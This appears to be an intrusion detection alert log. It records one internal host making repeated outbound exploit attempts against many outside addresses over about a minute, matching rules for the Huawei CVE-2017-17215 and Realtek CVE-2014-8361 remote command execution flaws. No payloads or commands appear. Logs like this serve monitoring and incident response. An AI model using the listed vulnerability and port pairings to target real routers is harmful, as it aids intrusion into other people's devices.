Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.255.118

Timestamp:	07/20/24-23:01:21.909111
SID:	2829579
Source Port:	57128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.59.242.166

Timestamp:	07/20/24-23:01:01.516827
SID:	2027339
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.129.124.77

Timestamp:	07/20/24-23:01:57.690792
SID:	2027339
Source Port:	48132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.254.5.127

Timestamp:	07/20/24-23:01:44.756265
SID:	2027339
Source Port:	59170
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.14.202.149

Timestamp:	07/20/24-23:01:49.011895
SID:	2027339
Source Port:	52832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.177.238.243

Timestamp:	07/20/24-23:01:41.380677
SID:	2027339
Source Port:	46780
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.52.255

Timestamp:	07/20/24-23:01:07.082045
SID:	2829579
Source Port:	56538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.206.84.130

Timestamp:	07/20/24-23:01:45.648154
SID:	2831300
Source Port:	49290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.200.88.148

Timestamp:	07/20/24-23:01:59.704241
SID:	2025132
Source Port:	52420
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.53.167.172

Timestamp:	07/20/24-23:01:55.903209
SID:	2025132
Source Port:	48072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.248.156.6

Timestamp:	07/20/24-23:01:43.185498
SID:	2027339
Source Port:	59604
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.131.75.237

Timestamp:	07/20/24-23:01:25.522869
SID:	2025132
Source Port:	39106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 71.205.8.144

Timestamp:	07/20/24-23:01:43.020186
SID:	2025132
Source Port:	48454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 1.7.30.66

Timestamp:	07/20/24-23:01:56.809584
SID:	2027339
Source Port:	48800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.18.60.159

Timestamp:	07/20/24-23:01:42.790558
SID:	2831300
Source Port:	33926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.135.72.216

Timestamp:	07/20/24-23:01:42.616435
SID:	2831300
Source Port:	50026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.117.12.122

Timestamp:	07/20/24-23:01:45.947642
SID:	2027339
Source Port:	56402
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.239.73.219

Timestamp:	07/20/24-23:01:41.686830
SID:	2831300
Source Port:	45028
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.105.247.52

Timestamp:	07/20/24-23:01:41.193880
SID:	2027339
Source Port:	53462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.105.54.148

Timestamp:	07/20/24-23:01:02.462458
SID:	2027339
Source Port:	56652
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.91.197.8

Timestamp:	07/20/24-23:01:34.053062
SID:	2829579
Source Port:	44258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.22.111.5

Timestamp:	07/20/24-23:01:44.783923
SID:	2027339
Source Port:	32792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 75.33.175.78

Timestamp:	07/20/24-23:01:55.166507
SID:	2027339
Source Port:	46270
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 13.188.89.36

Timestamp:	07/20/24-23:01:03.819275
SID:	2025132
Source Port:	60586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.163.145.253

Timestamp:	07/20/24-23:01:44.631925
SID:	2027339
Source Port:	42362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.112.20.112

Timestamp:	07/20/24-23:01:55.536863
SID:	2027339
Source Port:	49478
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.70.166.60

Timestamp:	07/20/24-23:01:45.574617
SID:	2027339
Source Port:	39656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.131.75.237

Timestamp:	07/20/24-23:01:31.320338
SID:	2831300
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.226.239.105

Timestamp:	07/20/24-23:01:42.519318
SID:	2027339
Source Port:	51790
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.162.61.245

Timestamp:	07/20/24-23:01:42.357440
SID:	2025132
Source Port:	53138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.44.82.133

Timestamp:	07/20/24-23:01:11.635828
SID:	2835222
Source Port:	60566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.4.77.39

Timestamp:	07/20/24-23:01:31.330511
SID:	2027339
Source Port:	44976
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.158.206.208

Timestamp:	07/20/24-23:01:27.650975
SID:	2835222
Source Port:	46192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.65.5.53

Timestamp:	07/20/24-23:01:07.018425
SID:	2829579
Source Port:	40100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.210.122.194

Timestamp:	07/20/24-23:02:01.201976
SID:	2027339
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.42.225.58

Timestamp:	07/20/24-23:01:59.593868
SID:	2025132
Source Port:	42564
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 200.222.88.102

Timestamp:	07/20/24-23:01:46.725077
SID:	2025132
Source Port:	40848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.83.65

Timestamp:	07/20/24-23:00:59.148145
SID:	2829579
Source Port:	53440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.103.64

Timestamp:	07/20/24-23:01:00.639093
SID:	2835222
Source Port:	46116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 47.30.224.199

Timestamp:	07/20/24-23:01:42.486622
SID:	2027339
Source Port:	43704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.196.66.69

Timestamp:	07/20/24-23:01:43.047922
SID:	2027339
Source Port:	35292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.207.42.25

Timestamp:	07/20/24-23:01:42.422050
SID:	2831300
Source Port:	60960
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.66.231.198

Timestamp:	07/20/24-23:01:59.799089
SID:	2027339
Source Port:	53122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.121.63

Timestamp:	07/20/24-23:01:24.876750
SID:	2835222
Source Port:	60380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.160.194.136

Timestamp:	07/20/24-23:01:04.950811
SID:	2025132
Source Port:	33400
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.33.239.16

Timestamp:	07/20/24-23:01:42.758954
SID:	2831300
Source Port:	60556
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 69.58.59.239

Timestamp:	07/20/24-23:01:53.494330
SID:	2027339
Source Port:	51492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.185.172.90

Timestamp:	07/20/24-23:01:02.726681
SID:	2027339
Source Port:	54012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.31.253.14

Timestamp:	07/20/24-23:01:08.684499
SID:	2027339
Source Port:	34566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.178.234.164

Timestamp:	07/20/24-23:01:24.889163
SID:	2829579
Source Port:	54718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.213.175.190

Timestamp:	07/20/24-23:00:59.163619
SID:	2835222
Source Port:	50560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.230.221.168

Timestamp:	07/20/24-23:01:31.328855
SID:	2831300
Source Port:	44950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 9.210.224.238

Timestamp:	07/20/24-23:01:51.968362
SID:	2831300
Source Port:	53002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 85.173.195.222

Timestamp:	07/20/24-23:01:31.314906
SID:	2831300
Source Port:	57430
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 92.182.23.52

Timestamp:	07/20/24-23:01:50.246033
SID:	2025132
Source Port:	54622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.178.38.115

Timestamp:	07/20/24-23:01:04.094795
SID:	2835222
Source Port:	60280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.203.129.55

Timestamp:	07/20/24-23:01:20.157620
SID:	2829579
Source Port:	59522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.84.150.41

Timestamp:	07/20/24-23:01:24.910426
SID:	2829579
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 133.187.212.183

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	59284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.7.143.99

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	40850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.83.13

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	44664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.50.68.232

Timestamp:	07/20/24-23:01:46.359091
SID:	2025132
Source Port:	50814
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.193.163

Timestamp:	07/20/24-23:01:27.653586
SID:	2829579
Source Port:	36930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.97.77.234

Timestamp:	07/20/24-23:01:43.197088
SID:	2027339
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.1.23.220

Timestamp:	07/20/24-23:01:57.500950
SID:	2831300
Source Port:	34280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 116.106.3.51

Timestamp:	07/20/24-23:01:58.291705
SID:	2831300
Source Port:	43302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 82.205.201.63

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	51264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.174.225.184

Timestamp:	07/20/24-23:01:01.628217
SID:	2027339
Source Port:	38982
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.215.224

Timestamp:	07/20/24-23:01:14.105908
SID:	2829579
Source Port:	53884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.13.32.83

Timestamp:	07/20/24-23:01:42.945748
SID:	2025132
Source Port:	54138
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.240.255.134

Timestamp:	07/20/24-23:00:57.221273
SID:	2829579
Source Port:	38628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.151.5.50

Timestamp:	07/20/24-23:01:08.631492
SID:	2831300
Source Port:	40900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.193.87.124

Timestamp:	07/20/24-23:01:08.563416
SID:	2831300
Source Port:	46698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.221.231.245

Timestamp:	07/20/24-23:02:05.835826
SID:	2025132
Source Port:	48206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.242.111.156

Timestamp:	07/20/24-23:01:41.341391
SID:	2027339
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.38.150

Timestamp:	07/20/24-23:01:27.650870
SID:	2835222
Source Port:	50818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.199.208.242

Timestamp:	07/20/24-23:01:40.301143
SID:	2835222
Source Port:	53018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.224.33.210

Timestamp:	07/20/24-23:01:42.508021
SID:	2027339
Source Port:	34132
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 74.130.124.117

Timestamp:	07/20/24-23:01:45.196200
SID:	2027339
Source Port:	33894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.71.77

Timestamp:	07/20/24-23:01:21.915268
SID:	2835222
Source Port:	57730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.32.160.159

Timestamp:	07/20/24-23:01:02.287452
SID:	2027339
Source Port:	51150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.57.98.237

Timestamp:	07/20/24-23:01:42.592254
SID:	2831300
Source Port:	59972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 136.224.18.44

Timestamp:	07/20/24-23:02:08.128674
SID:	2025132
Source Port:	51322
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.49.77

Timestamp:	07/20/24-23:01:02.093903
SID:	2835222
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 75.178.59.59

Timestamp:	07/20/24-23:01:31.312614
SID:	2831300
Source Port:	43754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.204.232.233

Timestamp:	07/20/24-23:01:32.076593
SID:	2829579
Source Port:	38906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 90.112.61.164

Timestamp:	07/20/24-23:01:44.338159
SID:	2025132
Source Port:	49602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.4.8.31

Timestamp:	07/20/24-23:01:44.926055
SID:	2027339
Source Port:	54108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.51.4.30

Timestamp:	07/20/24-23:01:44.466755
SID:	2027339
Source Port:	60066
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.210.122.194

Timestamp:	07/20/24-23:02:01.201976
SID:	2025132
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.199.208.241

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	53410
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.26.13.206

Timestamp:	07/20/24-23:01:08.640831
SID:	2831300
Source Port:	55554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.208.170.61

Timestamp:	07/20/24-23:01:04.989160
SID:	2027339
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.211.30.37

Timestamp:	07/20/24-23:01:53.238230
SID:	2025132
Source Port:	35440
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.170.128.9

Timestamp:	07/20/24-23:00:57.221583
SID:	2829579
Source Port:	44458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 202.203.199.212

Timestamp:	07/20/24-23:01:41.947663
SID:	2027339
Source Port:	40290
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.123.9

Timestamp:	07/20/24-23:01:34.044417
SID:	2835222
Source Port:	52462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.158.136.187

Timestamp:	07/20/24-23:01:44.839991
SID:	2027339
Source Port:	41154
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.236.184.127

Timestamp:	07/20/24-23:01:48.498136
SID:	2025132
Source Port:	53224
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

